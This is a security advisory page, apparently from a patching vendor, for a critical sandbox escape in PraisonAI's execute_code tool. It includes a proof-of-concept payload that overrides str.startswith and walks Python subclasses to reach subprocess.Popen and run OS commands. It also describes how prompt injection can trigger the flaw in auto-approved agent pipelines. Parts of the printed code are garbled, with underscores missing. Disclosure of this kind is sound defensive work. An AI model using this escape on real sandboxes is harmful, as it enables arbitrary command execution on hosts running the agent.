Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-34938

PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
Back to all
CVE

CVE-2026-34938

PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safegetattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)

 ```python

source -- safegetattr accepts any str subclass

def safegetattr(obj, name, *default):

    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses

        raise AttributeError(...)

hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword

FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

sink -- Popen reached via subclasses walk

r = Popen(['id'], stdout=PIPE, stderr=PIPE)

### PoC

 from praisonaiagents.tools.pythontools import executecode

payload = """

 t = type

FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mroattr  = FakeStr(''.join(['','','m','r','o','','_']))

subsattr = FakeStr(''.join(['','','s','u','b','c','l','a','s','s','e','s','','_']))

modattr  = FakeStr(''.join(['','','m','o','d','u','l','e','','_']))

nameattr = FakeStr(''.join(['','','n','a','m','e','','_']))

PIPE = -1

objclass = getattr(type(()), mroattr)[1]

for cls in getattr(objclass, subsattr)():

    try:

        m = getattr(cls, mod_attr, '')

        n = getattr(cls, name_attr, '')

        if m == 'subprocess' and n == 'Popen':

            r = cls(['id'], stdout=PIPE, stderr=PIPE)

            out, err = r.communicate()

            print('RCE:', out.decode())

            break

    except Exception as e:

        print('ERR:', e)

"""

result = execute_code(code=payload)

print(result)

expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

```

Impact

 Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.pyautonomy_mode.py, or bots_cli.py set PRAISONAIAUTOAPPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
10
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
C
H
U
10
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294, https://nvd.nist.gov/vuln/detail/CVE-2026-34938, https://github.com/MervinPraison/PraisonAI, https://pypi.org/project/praisonaiagents, https://github.com/advisories/GHSA-6vh2-h83c-9294

Severity

10

CVSS Score
0
10

Basic Information

Base CVSS
10
EPSS Probability
0.00707%
EPSS Percentile
0.49016%
Introduced Version
0,1.5.84,1.5.16
Fix Available
1.5.90

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading